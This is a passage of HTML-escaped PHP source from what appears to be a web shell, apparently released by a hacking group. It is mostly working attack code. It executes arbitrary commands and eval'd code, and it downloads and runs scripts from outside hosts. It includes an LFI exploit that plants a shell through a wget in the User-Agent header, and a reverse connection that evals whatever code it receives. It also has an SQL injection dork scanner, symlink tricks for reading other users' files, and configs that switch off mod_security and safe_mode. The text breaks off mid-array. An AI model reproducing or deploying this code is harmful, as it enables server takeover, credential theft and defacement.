&amp;nbsp;   Register Globals = &lt;sy&gt;&quot;.RegisterGlobals().&quot; &lt;/sy&gt;
&amp;nbsp;   Open Basedir = &lt;sy&gt;&quot;.openBaseDir().&quot; &lt;/sy&gt;
&lt;br&gt;
&amp;nbsp;   Gzip = &lt;sy&gt;&quot;.Gzip().&quot;&lt;/sy&gt;
&amp;nbsp;   MySQLI = &lt;sy&gt;&quot;.MysqlI().&quot; &lt;/sy&gt;
&amp;nbsp;   MSQL = &lt;sy&gt;&quot;.MSQL().&quot;&lt;/sy&gt;
&amp;nbsp;   SQL Lite = &lt;sy&gt;&quot;.SQlLite().&quot;&lt;/sy&gt;
&amp;nbsp;   Usefull Locals = &lt;sy&gt;&quot;.rootxpL().&quot; &lt;/sy&gt;
&lt;br&gt;
&amp;nbsp;   Free Space = &lt;sy&gt;&quot;.HardSize(disk_free_space('/')).&quot; &lt;/sy&gt;
&amp;nbsp;   Total Space = &lt;sy&gt;&quot;.HardSize(disk_total_space(&quot;/&quot;)).&quot; &lt;/sy&gt;
&amp;nbsp;   PHP Version = &lt;sy&gt;&lt;a href='javascript:openPHPInfo();'&gt;&lt;u&gt;&quot;.phpversion().&quot;&lt;/u&gt;&lt;/a&gt; &lt;/sy&gt;
&amp;nbsp;   Zend Version = &lt;sy&gt;&quot;.zend_version().&quot; &lt;/sy&gt;
&amp;nbsp;   MySQL Version = &lt;sy&gt;&quot;.mysql_get_server_info().&quot; &lt;/sy&gt;
&lt;br&gt;
&amp;nbsp;   MySQL = &quot;.MySQL2().&quot;
&amp;nbsp;   MsSQL = &quot;.MsSQL().&quot;
&amp;nbsp;   PostgreSQL = &quot;.PostgreSQL().&quot;
&amp;nbsp;   Oracle = &quot;.Oracle().&quot;
&amp;nbsp;   Server Name = &lt;sy&gt;&quot;.$_SERVER['HTTP_HOST'].&quot; &lt;/sy&gt;
&amp;nbsp;   Server Admin = &lt;a href = 'mailto:&quot;.$_SERVER['SERVER_ADMIN'].&quot;'&gt;&lt;u&gt;&lt;sy&gt;&quot;.$_SERVER['SERVER_ADMIN'].&quot;&lt;/sy&gt;&lt;/u&gt;&lt;/a&gt;
&lt;br&gt;
&amp;nbsp;   Dis_Functions = &lt;sy&gt;&quot;. DisableFunctions().&quot; &lt;/sy&gt;&lt;br&gt;
&amp;nbsp;   Your IP = &lt;sy&gt;&quot;.GetRealIP().&quot; &lt;/sy&gt;
&amp;nbsp;   Server IP = &lt;a href='http://bing.com/search?q=ip:&quot;.$serverIP.&quot;&amp;go=&amp;form=QBLH&amp;filt=all' target='_blank'&gt;&lt;u&gt;&lt;sy&gt;&quot;.gethostbyname($_SERVER[&quot;HTTP_HOST&quot;]).&quot;&lt;/sy&gt;&lt;/u&gt;&lt;/a&gt;
 [&lt;/span&gt;&lt;a href='http://whois.webhosting.info/&quot;.gethostbyname($_SERVER[&quot;HTTP_HOST&quot;]).&quot;' target='_blank'/&gt;Reverse IP&lt;/a&gt;]&lt;/span&gt;
&amp;nbsp;   Date Time = &lt;sy&gt;&quot;.date('Y-m-d H:i:s').&quot; &lt;/sy&gt;&lt;br/&gt;
&amp;nbsp;   
[&lt;a href='http://www.md5decrypter.co.uk/' target='_blank'&gt;MD5 Cracker&lt;/a&gt;]
[&lt;a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'&gt;SHA1 Cracker&lt;/a&gt;]
[&lt;a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'&gt;NTLM Cracker&lt;/a&gt;]
&lt;br&gt;
&lt;br&gt;
&lt;table bgcolor='#cccccc' width='100%'&gt;&lt;tbody&gt;&lt;tr&gt;
&lt;td align='right' width='100'&gt;&lt;p dir='ltr'&gt;&lt;sy&gt;
&amp;nbsp;&amp;nbsp;Server :&amp;nbsp;&amp;nbsp; &lt;br&gt;
&lt;b&gt;uname -a : &amp;nbsp;
&lt;br&gt;pwd : &lt;/span&gt;&amp;nbsp;&lt;br&gt;ID : &lt;/span&gt;&amp;nbsp;&lt;br&gt;&lt;/b&gt;&lt;/sy&gt;&lt;/td&gt;&lt;td&gt;
&lt;p dir='ltr'&gt;&lt;font color='#cccccc' size='-2'&gt;&lt;b&gt;
&lt;b&gt; &amp;nbsp;&amp;nbsp;&quot;.$server.&quot;
&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;a href='http://www.google.com/search?q=&quot;.urlencode(php_uname()).&quot;' target='_blank'&gt;&lt;sy&gt;&lt;u&gt;&quot;.$uname.&quot; &lt;/u&gt;&lt;/sy&gt;&lt;/a&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&quot;.$dir.&quot;&lt;br&gt;&amp;nbsp;&amp;nbsp;&quot;.get_current_user().&quot;&lt;/b&gt;
&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;
&lt;/table&gt;
&amp;nbsp;&amp;nbsp;[&lt;a href='#down'&gt;Down&lt;/a&gt;]
 [&lt;a href='javascript:window.print()'&gt;Print&lt;/a&gt;]
&lt;/table&gt;&quot;;
# ---------------------------------------#
#                Main Page               #
#----------------------------------------#
if ($_GET['id']== 'mainPage')
{
	$cmd = $_POST['cmd'];
	echo &quot;&lt;script&gt;window.onload = ChangeSQLType;&lt;/script&gt;&quot;;
	echo &quot;&lt;form method='POST'&gt;&lt;table bgcolor='#cccccc' cellpadding='0' cellspacing='0' width='100%'&gt;
	&lt;tr&gt;&lt;td colspan='2' align='center'&gt;&quot;.$_POST['alias'].$cmd.&quot;&lt;/td&gt;&lt;/tr&gt;
	&lt;tr&gt;&lt;td&gt;
	&lt;textarea name='ExecutionArea' rows='20' cols='152'&gt;&quot;;
	if(!$_POST || $_POST['login']) // Show Current Directory Contents if No Post in requesting ... 
	{chdir($_POST['directory']);scanDirs();}
	else if($_POST['submitCommands']) // Execute The Alias Command .
	{echo Exe($_POST['alias']);}
	else if($_POST['Execute']) // Execute The Command From Command Line  .
	{
		chdir($_POST['directory']);
		if (strtolower(substr($cmd,0,2)) == 'cd'){chdir(strtolower(substr($cmd,3)));scanDirs();}
		elseif(empty($exec)){scanDirs();}
		else {Exe($cmd);}
	}
# ---------------------------------------#
#          Scripts Hacking               #
#----------------------------------------#
else if($_POST['UpdateIndex'])
{  
	$hackingType = $_POST['hackingType'];
	$ScriptType = $_POST['ScriptType'];
	if($hackingType == 'indexChanger')
	{
		DBConnect($_POST['HOST'],$_POST['USER'],$_POST['PASS'],$_POST['DB']);
		$index = stripslashes($_POST['INDEX']);
		$prefix  = $_POST['PREFIX'];
		if($_POST['injectShell'] == 'yes')
		{
			$injectShellType = $_POST['InjectShellTypeSpan'];
		}
		UpdatingIndex($ScriptType,$index,$prefix,$injectShellType);
	}
	else if($hackingType == 'changeInfo')
	{
		DBConnect($_POST['HOST'],$_POST['USER'],$_POST['PASS'],$_POST['DB']);
		changeInfo($ScriptType,$_POST['adminID'],$_POST['userName'],$_POST['password']);
	}
	else if($hackingType == 'decrypt')
	{getConfigInfo($ScriptType);}
}
# --------------------------
#   Hash Analyzer        
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'analyze'))
{HashAnalyzer($_POST['php_eval']);}
# --------------------------
#   Get User DirectAdmin       
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'DirectUser'))
{
	$file = file_get_contents('http://SyRiAn Cyb3r Army/sh/sh.txt');
	$file = str_replace(&quot;2082&quot;,&quot;2222&quot;,$file);
	$file = str_replace(&quot;exampleSite.com&quot;,$_POST['php_eval'],$file);
	GenerateFile('sh.sh',$file);
	ChangeMode('sh.sh',0755);
	Exe('sh sh.sh');
	echo &quot;Look for  [ user&quot;.$_POST['php_eval'].&quot; ] Directory .&quot;;
}
# --------------------------
#   Eval Code   
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'eval'))
{Evaluation($_POST['php_eval']);}
# --------------------------
#   Encryption  
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'enc'))
{
	if(!empty($_POST['php_eval']))
	{
		$encString = $_POST['php_eval'];
		for ($i=0;$i&lt;strlen($encString);$i++) 
		{$ToHex .= strtoupper(dechex(ord($encString[$i])));}
		for ($i=0;$i&lt;strlen($encString);$i+=2) 
		{$HextTo .= chr(hexdec($encString[$i].$encString[$i+1]));}
		$ToDEC = 'CHAR('; 
		for ($i=0;$i&lt;strlen($encString); $i++) 
		{$ToDEC .= ord($encString[$i]).(($i&lt;(strlen($encString)-1))?',':')');}
		$DECTo='CHAR('; 
		for ($i=0;$i&lt;strlen($encString); $i++) 
		{$DECTo .= ord($encString[$i]).(($i&lt;(strlen($encString)-1))?',':')');}
		echo &quot;
MD5 			: &quot;.md5($encString).&quot;
Base64 Encode   	: &quot;.base64_encode($encString).&quot;
Base64 Decode   	: &quot;.base64_decode($encString).&quot;
Crypt 			: &quot;.crypt($encString).&quot;
SHA1 			: &quot;.sha1($encString).&quot;
MD4 			: &quot;.hash(&quot;md4&quot;,$encString).&quot;
SHA256 			: &quot;.hash(&quot;sha256&quot;,$encString).&quot;
URL Encoding 		: &quot;.urlencode($encString).&quot;
URL Decoding 		: &quot;.str_hex($encString).&quot;
CRC32 			: &quot;.crc32($encString).&quot;
Length 			: &quot;.strlen($encString).&quot;
2HEX                    : 0x&quot;.$ToHex.&quot;
Hex2 			: &quot;.$HextTo.&quot;
2DEC 			: &quot;.$ToDEC.&quot;
DEC2			: &quot;.$DECTo.&quot;&quot;;  
	}
	else{echo &quot;Please Put At Least One Char !&quot;;}
}
# --------------------------
#   Generate Server   
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'genServ'))
{
	chdir(stripslashes($_POST['php_eval']));
	mkdir(&quot;allserver&quot;, 0755);
	chdir(&quot;allserver&quot;);
	$exe = Exe(&quot;ln -s / allserver&quot;);
	if(!$exe)
	{
		getFiles('http://SyRiAn Cyb3r Army/server/ZSortCut.zip');
		unzip('ZSortCut.zip',getcwd());
		DeleteFile('ZSortCut.zip');
	}
	GenerateFile(&quot;.htaccess&quot;,&quot;
	Options Indexes FollowSymLinks
	DirectoryIndex ssssss.htm
	AddType txt .php
	AddHandler txt .php&quot;);
	echo 'Now Go to allserver folder '.getcwd().'' ;
}
# --------------------------
#  Scan Ports
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'scan'))
{PortsScanner($_POST['php_eval']);}
# --------------------------
#  SQL Injection Scanner
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'sqlScanner'))
{
	set_time_limit(0);
	ignore_user_abort(true);
	ini_set('memory_limit', '128M');
	$google = &quot;http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&amp;q=REPLACE_DORK&amp;num=100&amp;hl=en&amp;as_qdr=all&amp;start=REPLACE_START&amp;sa=N&quot;;
	$i = 0;
	$a = 0;
	$b = 0;
	while($b &lt;= 900) 
	{
		$a = 0;
		echo &quot; Dork: [ &quot;.$_POST['dork'].&quot;]\n&quot;;
		ob_flush();flush();sleep(1);
		if(preg_match(&quot;/did not match any documents/&quot;, Connect_Host(str_replace(array(&quot;REPLACE_DORK&quot;, &quot;REPLACE_START&quot;), array(&quot;&quot;.$_POST['dork'].&quot;&quot;, &quot;$b&quot;), $google)), $val)) 
		{
			echo &quot;See something but not found??&quot;;
			ob_flush();flush();sleep(1);
			break;
		}
	
		preg_match_all(&quot;/&lt;h2 class=(.*?)&gt;&lt;a href=\&quot;(.*?)\&quot; class=(.*?)&gt;/&quot;, Connect_Host(str_replace(array(&quot;REPLACE_DORK&quot;, &quot;REPLACE_START&quot;), array(&quot;&quot;.$_POST['dork'].&quot;&quot;, &quot;$b&quot;), $google)), $sites);
		echo &quot;Result of injection...\n&quot;;
		ob_flush();flush();sleep(1);
		while(1) 
		{
			ob_flush();flush();sleep(1);
			if(preg_match(&quot;/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/&quot;, Connect_Host(str_replace(&quot;=&quot;, &quot;='&quot;, $sites[2][$a])))) 
			{
				echo str_replace(&quot;=&quot;, &quot;='&quot;, $sites[2][$a]).&quot; &lt;== Yeah..Vulnerable ! \n&quot;;
			} 
			else 
			{
				echo str_replace(&quot;=&quot;, &quot;='&quot;, $sites[2][$a]).&quot; &lt;== Not Vulnerable..sorry! \n&quot;;
				ob_flush();flush();sleep(1);
			}
			if($a &gt; count($sites[2])-2){echo &quot;Lets..scan other page.. \n&quot;;break;}
			$a = $a+1;
		}
		$b = $b+100;
	}
}
# --------------------------
#  LFI Shell Uploader
#---------------------------
else if($_POST['submitEval'] &amp;&amp; ($_POST['evalOrEnc'] == 'uploadLFI'))
{
   $target = $_POST['php_eval'];
   $testlfi = &quot;../../../../../../../../../../../../../../../etc/passwd%00&quot;;
   $readenv = &quot;../../../../../../../../../../../../../../../proc/self/environ%00&quot;;
   $mbooh = preg_split(&quot;/.php/&quot;, $target);
   $pecah = preg_split(&quot;/\//&quot;, $mbooh[0]);
   $path = &quot;/&quot;;
   $azz = count($pecah) - 1;
   for($g = 3; $g&lt;$azz;$g++) {
        $path.= $pecah[$g].&quot;/&quot;;
   }
   $bug = $pecah[$azz].&quot;.php&quot;.$mbooh[1];
   $host = $pecah[2];
   print &quot;[+] Testing LFI ... &quot;;
   flush();
   $res = FetchURL($target.$testlfi);
   if(preg_match(&quot;/root:x:0:0/&quot;, $res)) {
        print &quot;[+] Reading /proc/self/environ ... &quot;;
        flush();
        $rez = FetchURL($target.$readenv);
        if(preg_match(&quot;/DOCUMENT_ROOT=/&quot;, $rez)) {
        print &quot;[+] Exploiting target ...&quot;;
        flush();
        $cmd = &quot;&lt;?php system('wget http://www.dallasdesigngroup.com/UserFiles/sh3ll.txt -O sh3ll.php');?&gt;&quot;;
        $soket = fsockopen($host, 80);
        $req = &quot;GET &quot;.$path.$bug.$readenv.&quot; HTTP/1.0\r\nHost: &quot;.$host.&quot;\r\nAccept: */*\r\nUser-Agent: &quot;.$cmd.&quot;\r\n\r\n&quot;;
        fputs($soket, $req);
        fclose($soket);
        flush();
        $cek = FetchURL(&quot;http://&quot;.$host.$path.&quot;sh3ll.php&quot;);
        if(preg_match(&quot;/gblack Was Here/&quot;, $cek)) {
                print &quot;[+] Exploit successful!\n[+] Shell uploaded to http://&quot;.$host.$path.&quot;sh3ll.php&quot;;
        } else {
                print &quot;[!] Exploit failed!&quot;;
        }
        }
        else {
        print &quot;Failed&quot;;
        }
   } else {
        print &quot;Failed&quot;;
   }
}
# --------------------------
#  Show Users    
#---------------------------
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'showUsers'))
{
	$showUsers = showUsers();
	if($showUsers == false){echo &quot;[-] Sorry ! I can't Read Users ! &quot;;}
}
# --------------------------
#  Show Headers
#---------------------------
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'headers'))
{
	foreach(getallheaders() as $header =&gt; $value){echo htmlspecialchars($header . &quot;:&quot; . $value).&quot;\n&quot;;}
}
# --------------------------
#  Commands Help   
#---------------------------
else if ($_POST['helpCommands'])
{
	echo &quot;
|--------------------------------------------|----------------------------------------------------|---------------------------------------------|
|                  Command                   |                       Example                      |                     Comment                 |
|--------------------------------------------|----------------------------------------------------|---------------------------------------------|
|                  zip                       |          zip FileName                              | Compress the Files Into a ZIP Archive       |
|                  unzip                     |          unzip FileName                            | Extract the ZIP Archives                    |
|                  tar -zcf                  |          tar -zcf zz.tar daily                     | Compress the Files Into a TAR Archive       |
|                  tar -zxf                  |          tar -zxf zz.tar                           | Extract the TAR Archives                    |
|                  tar -czvf                 |          tar -czvf FileName.tar.gz FileName        | Compress the Files Into a GZ  Archive       |
|                  gzip -d                   |          gzip -d FileName.gz                       | Extract the GZ Archives                     |
|                  tar -czvf                 |          tar -czvf FileName.tar.gz database.sql    | Compress the Files Into SQL Archive         |
|                  tar -zxvf                 |          tar -zxvf FileName.tar.gz                 | Extract the Database Files SQL              |
|                  tar -czvf                 |          tar -czvf FileName.tar.gz NewFileName     | Compress the Folders Into a tar.gz Archive  |
|                  ls                        |          ls /home                                  | View the files name in the directory        |
|                  ls -la                    |          ls -la /home                              | View Files And Folders in hidden files      |
|                  pwd                       |          pwd                                       | Show the Current Path                       |
|                   ;                        |          ls;pwd                                    | Combine the Commands                        |
|                  wget                      |          wget http://site.com/file.zip             | Get file from URL Using Wget Command        |
|                  curl -o                   |          curl -o http://site.com/file.zip          | Get file from URL Using curl -o Command     |
|                  lynx -source              |          lynx -source http://site.com/file.zip     | Get file from URL Using lynx -source Command|
|                  get                       |          get http://site.com/file.zip              | Get file from URL Using get Command         |
|                  history                   |          history                                   | Show All Previous Commands that you Executed|
|                  mkdir                     |          mkdir /myNewDir                           | make a new Directory in the server          |
|                  rm                        |          rm file                                   | Deleting Files                              |
|                  rm -r                     |          rm -r myDirectory                         | Deleting Directory and it's Files           |
|                  edit                      |          edit myFile                               | Edit a file using text editer               |
|                  who                       |          who                                       | who's Connected to the server               |
|                  cd                        |          cd /home/user                             | Enter the Selected Path                     |
|                  cd ../                    |          cd ../                                    | Go To Upper Directory                       |
|                  mv                        |          mv myFile1 /home/myFile2                  | Move And Rename The File                    |
|                  find                      |          find myFile                               | Looking for a file or folder                |
|                  ./                        |          ./localroot                               | Execute the Executable file                 |
|                  sh                        |          sh localroot                              | Execute the shell Programming Code          |
|                  uname -a                  |          uname -a                                  | View The Server Kernel Information          |
|                  *                         |          rm *                                      | Execute the Command for all                 |
|                  man                       |          man ls                                    | Help About ls Command                       |
|                  touch                     |          touch myFile                              | Create A new File                           |
|                  gcc                       |          gcc myFile1 -o myFile2                    | Convert to Binary Executable File           |
|                  cat                       |          cat myFile                                | Read the File contents                      |
|                  more                      |          more myFile                               | Read the File easily if it's larg           |
|                  pico                      |          pico myFile                               | Edit File Using Pico Text Editer            |
|                  perl                      |          Perl myFile.pl                            | Execute the Perl Scripts                    |
|                  ln                        |          ln -s /home/myFile myLink                 | Make a link to the file                     |
|                  grep                      |          grep myFile myText                        | Look for the Text in the File               |
|                  chmod                     |          chmod 755 myDirectory                     | Change the permission to Files Or Folders   |
|                  chown                     |          chown root myFile                         | Change the File Owner                       |
|                  chgrp                     |          chgrp root myFile                         | Change The File Group                       |
|                  clear                     |          clear                                     | Clear the Screen                            |
|                  cmp                       |          cmp myFile1 myFile2                       | Compare the Tow Files                       |
|                  crypt                     |          crypt myFile                              | To Encrypt myFile                           |
|                  csplit                    |          csplit myFile                             | Spread the File Into pieces                 |
|--------------------------------------------|----------------------------------------------------|---------------------------------------------|
&quot;;
}
# --------------------------
#   Generate CGI      
#---------------------------
else if($_POST['generatePel'])
{
	chdir($_POST['cgiperlPath']);
	mkdir('cgi', 0755);
	chdir('cgi');
	getFiles('http://SyRiAn Cyb3r Army/cgi/compiler.zip');
	UnZip('compiler.zip',getcwd());
	DeleteFile('compiler.zip');
	ChangeMode(&quot;compiler&quot;,0777);
	if($_POST['cgiType'] == &quot;cgiPerl&quot;)
	{
		getFiles('http://SyRiAn Cyb3r Army/cgi/cgiPerl.zip');
		UnZip('cgiPerl.zip',getcwd());
		DeleteFile('cgiPerl.zip');
		ChangeMode(&quot;cgiPerl.sy3&quot;,0755);
					echo '
Go To Link : cgi/cgiPerl.sy3
Password Is : sy3' ;
	}
	else if($_POST['cgiType'] == &quot;cgiPaython&quot;)
	{
		getFiles('http://SyRiAn Cyb3r Army/cgi/cgiPaython.zip');
		UnZip('cgiPaython.zip',getcwd());
		DeleteFile('cgiPaython.zip');
		ChangeMode(&quot;cgiPaython.sy3&quot;,0755);
					echo '
Go To Link : cgi/cgiPaython.sy3
';
	}
	else if ($_POST['cgiType'] == &quot;cgiUsers&quot;)
	{
		getFiles('http://SyRiAn Cyb3r Army/cgi/users.zip');
		UnZip('users.zip',getcwd());
		DeleteFile('users.zip');
		ChangeMode(&quot;users.sy3&quot;,0755);
					echo '
Go To Link : cgi/users.sy3
';
	}
	GenerateFile('.htaccess','AddHandler cgi-script .sy3');
}
# --------------------------
#   CH Commands 
#---------------------------
else if($_POST['changePermission'])
{
	$file = $_POST['fileName'];
	$newAction = $_POST['per'];
	if($os == 'Windows'){echo &quot;[-] No Permissions in Windows OS.&quot;;}
	else if(!file_exists($file)){echo &quot;[-] The file is not exists ! .&quot;;}
	else
	{
		if($_POST['ChCommands'] == 'chmod')
		{
			$ch_ok = ChangeMode($file,$newAction);
			if($ch_ok){echo &quot;[+] Permission Changed Successfully ! &quot; ;}
			else{ echo &quot;[-] Changing Is Not Allowed !! .&quot;;}
		}
		else if($_POST['ChCommands'] == 'chown')
		{
			$ch_ok = ChangeOwn($file,$newAction);
			if($ch_ok){echo &quot;[+] Owner Changed Successfully ! &quot; ;}
			else{ echo &quot;[-] Changing Is Not Allowed !! .&quot;;}
		}
		else if($_POST['ChCommands'] == 'chgrp')
		{
			$ch_ok = ChangeGrp($file,$newAction);
			if($ch_ok){echo &quot;[+] Group Changed Successfully ! &quot; ;}
			else{ echo &quot;[-] Changing Is Not Allowed !! .&quot;;}
		}
	}
}
# --------------------------
#   Forbidden
#---------------------------
else if($_POST['generateForbidden'])
{
	chdir($_POST['forbiddenPath']);
	mkdir('forbidden');
	chdir('forbidden');
	if($_POST['403'] == 'DirectoryIndex'){GenerateFile('.htaccess',&quot;DirectoryIndex in.txt&quot;);}
	elseif($_POST['403'] == 'HeaderName'){GenerateFile('.htaccess',&quot;HeaderName in.txt&quot;);}
	elseif($_POST['403'] == 'TXT')
	{
		GenerateFile('.htaccess',&quot;
		Options all
		AddType text/plain .php 
		AddType text/plain .html
		AddHandler server-parsed .php
		AddHandler txt .php&quot;);
	}
	elseif($_POST['403'] == '404')
	{
		GenerateFile('.htaccess',&quot;
		ErrorDocument 404 /404.html 
		404.html = Symlinked in.txt&quot;);
	}
	elseif($_POST['403'] == 'ReadmeName'){GenerateFile('.htaccess',&quot;ReadmeName in.txt&quot;);}
	elseif($_POST['403'] == 'footerName'){GenerateFile('.htaccess',&quot;footerName in.txt&quot;);}
	echo &quot;
Now Go To /forbidden/in.txt Or /forbidden/
EX : ln -s /home/user/public_html/config.php in.txt&quot;;
}
# --------------------------
#   Upload Files
#---------------------------
else if($_POST['UploadNow'])
{
	$uploadingDir = $_POST['uploadingDir'];
	$uploadingDir = str_replace(&quot;\\\\&quot;,&quot;\\&quot;,$uploadingDir);
	$uploadingDir = str_replace(&quot;//&quot;,&quot;/&quot;,$uploadingDir);
	chdir($uploadingDir);
	$nbr_uploaded =0;
	$files_uploded = array();
	$path= '';
	$target_path= $path . basename($_FILES['uploadfile']['name'][$i]);
	for ($i = 0; $i &lt; count($_FILES['uploadfile']['name']); $i++)
	{
		if($_FILES['uploadfile']['name'][$i] != '')
		{
			move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $target_path . $_FILES['uploadfile']['name'][$i]);
			$files_uploded[] = $_FILES['uploadfile']['name'][$i];
			$nbr_uploaded++;
			echo &quot;The File  &quot;.basename($_FILES['uploadfile']['name'][$i]).&quot; Uploaded Successfully !
&quot;;
		}
		else &quot;The File  &quot;.basename($_FILES['uploadfile']['name'][$i]).&quot;  Can't Be Upload :( !&quot;;
	}
}
# --------------------------
#   no Security
#---------------------------
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'genPhp'))
{
	$genTry = GenerateFile(&quot;php.ini&quot;,&quot;
	safe_mode = Off
	disable_functions = NONE
	safe_mode_gid = OFF
	open_basedir = OFF&quot;);
	echo &quot;php.ini Has Been Generated Successfully&quot;;
	if($genTry){echo &quot;[+] php.ini Has Been Generated Successfully &quot;;}
	else {echo &quot;[-] Failed to generate php.ini file !! &quot;;}
}
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'genHtaccess'))
{
	$genTry = GenerateFile(&quot;.htaccess&quot;,&quot;
&lt;IfModule mod_security.c&gt;
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
&lt;/IfModule&gt;
&lt;Limit GET POST&gt;
order deny,allow
deny from all
allow from all
&lt;/Limit&gt;
&lt;Limit PUT DELETE&gt;
order deny,allow
deny from all
&lt;/Limit&gt;
SetEnv PHPRC &quot;.getcwd().&quot;/php.ini
	&quot;);
	if($genTry){echo &quot;[+] .htaccess Has Been Generated Successfully &quot;;}
	else {echo &quot;[-] Failed to generate .htaccess file !! &quot;;}
	
}
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'genINI'))
{
	$genTry = GenerateFile(&quot;ini.php&quot;,'
ini_restore(&quot;safe_mode&quot;);
ini_restore(&quot;open_basedir&quot;);
	');
	if($genTry){echo &quot;[+] ini.php Has Been Generated Successfully&quot;;}
	else {echo &quot;[-] Failed to generate ini.php file !! &quot;;}
}
# --------------------------
#  Reading Files
#---------------------------
# using [ fread | fgets |  readfile | file_get_contents | file | Exe | include | copy | mb_send_mail | curl_init | WScript.shell | win_shell_execute | win32_create_service | imap_open | symlink | tempnam ] .
else if($_POST['read'] || $_POST['show'])
{
	$file = $_POST['file'];
	$file = str_replace('\\\\','\\',$file);
	$file = str_replace('//','/',$file);
	if($_POST['read']){ReadingFiles($file);}	
	elseif($_POST['show']){ViewDirectories($file);}
}
# --------------------------
#   Metasploit RC
#---------------------------
else if($_POST['metaConnect'])
{
	$ip = $_POST['ip'];
	$port = $_POST['port'];
	if ($ip == &quot;&quot; &amp;&amp; $port == &quot;&quot;){echo &quot;Please fill IP Adress &amp; The listen Port&quot;;} 
	else 
	{
		$ipaddr = $ip; 
		$port = $port;
		if (FALSE !== strpos($ipaddr, &quot;:&quot;)) {$ipaddr = &quot;[&quot;. $ipaddr .&quot;]&quot;;}
		if (is_callable('stream_socket_client')) 
		{
			$msgsock = stream_socket_client(&quot;tcp://{$ipaddr}:{$port}&quot;);
			if (!$msgsock){die();}
			$msgsock_type = 'stream';
		} 
		elseif (is_callable('fsockopen')) 
		{
			$msgsock = fsockopen($ipaddr,$port);
			if (!$msgsock) {die(); }
			$msgsock_type = 'stream';
		}
		elseif (is_callable('socket_create')) 
		{
			$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
			$res = socket_connect($msgsock, $ipaddr, $port);
			if (!$res) {die(); }
			$msgsock_type = 'socket';
		} 
		else {die();}
		switch ($msgsock_type) 
		{ 
			case 'stream': $len = fread($msgsock, 4); break;
			case 'socket': $len = socket_read($msgsock, 4); break;
		}
		if (!$len) {die();}
		$a = unpack(&quot;Nlen&quot;, $len);
		$len = $a['len'];
		$buffer = '';
		while (strlen($buffer) &lt; $len) 
		{
			switch ($msgsock_type) 
			{ 
				case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); 
				break;
				case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
				break;
			}
		}
		eval($buffer);
		echo &quot;[*] Connection Terminated&quot;;
		die();
	}
}
# --------------------------
#  ACP Finder
#---------------------------
if (isset($_POST[&quot;submit_lol&quot;])) 
{
	set_time_limit(0);
	$url = $_POST['hash_lol'];
	echo &quot;Testing &quot;.$url.&quot;\n&quot;;
	$extention = $_POST['extention'];
	$adminlocales = array(
&quot;admin/&quot;,
&quot;wp-admin/&quot;,
&quot;administration/&quot;,
&quot;administrator/&quot;,
&quot;moderator/&quot;,
&quot;webadmin/&quot;,
&quot;adminarea/&quot;,
&quot;bb-admin/&quot;,
&quot;adminLogin/&quot;,
&quot;admin_area/&quot;,
&quot;panel-administracion/&quot;,
&quot;instadmin/&quot;,
&quot;memberadmin/&quot;,
&quot;administratorlogin/&quot;,
&quot;adm/&quot;,
&quot;siteadmin/login&quot;.$extention.&quot;&quot;,
&quot;admin/account&quot;.$extention.&quot;&quot;,
&quot;admin/index&quot;.$extention.&quot;&quot;,
&quot;admin/login&quot;.$extention.&quot;&quot;,
&quot;admin/admin&quot;.$extention.&quot;&quot;,
&quot;admin_area/login&quot;.$extention.&quot;&quot;,
&quot;admin_area/index&quot;.$extention.&quot;&quot;,
&quot;admincp/index&quot;.$extention.&quot;&quot;,
&quot;adminpanel&quot;.$extention.&quot;&quot;,
&quot;webadmin&quot;.$extention.&quot;&quot;,
&quot;webadmin/index&quot;.$extention.&quot;&quot;,
&quot;webadmin/login&quot;.$extention.&quot;&quot;,
&quot;admin/admin_login&quot;.$extention.&quot;&quot;,
&quot;admin_login&quot;.$extention.&quot;&quot;,
&quot;panel-administracion/login&quot;.$extention.&quot;&quot;,
&quot;admin_area/admin&quot;.$extention.&quot;&quot;,
&quot;bb-admin/index&quot;.$extention.&quot;&quot;,
&quot;bb-admin/login&quot;.$extention.&quot;&quot;,
&quot;bb-admin/admin&quot;.$extention.&quot;&quot;,
&quot;admin/home&quot;.$extention.&quot;&quot;,
&quot;pages/admin/admin-login&quot;.$extention.&quot;&quot;,
&quot;admin/admin-login&quot;.$extention.&quot;&quot;,
&quot;admin-login&quot;.$extention.&quot;&quot;,
&quot;admin/adminLogin&quot;.$extention.&quot;&quot;,
&quot;home&quot;.$extention.&quot;&quot;,
&quot;adminarea/index&quot;.$extention.&quot;&quot;,
&quot;admin/controlpanel&quot;.$extention.&quot;&quot;,
&quot;admin&quot;.$extention.&quot;&quot;,
&quot;admin/cp&quot;.$extention.&quot;&quot;,
&quot;cp&quot;.$extention.&quot;&quot;,
&quot;adminpanel.php&quot;,
&quot;moderator&quot;.$extention.&quot;&quot;,
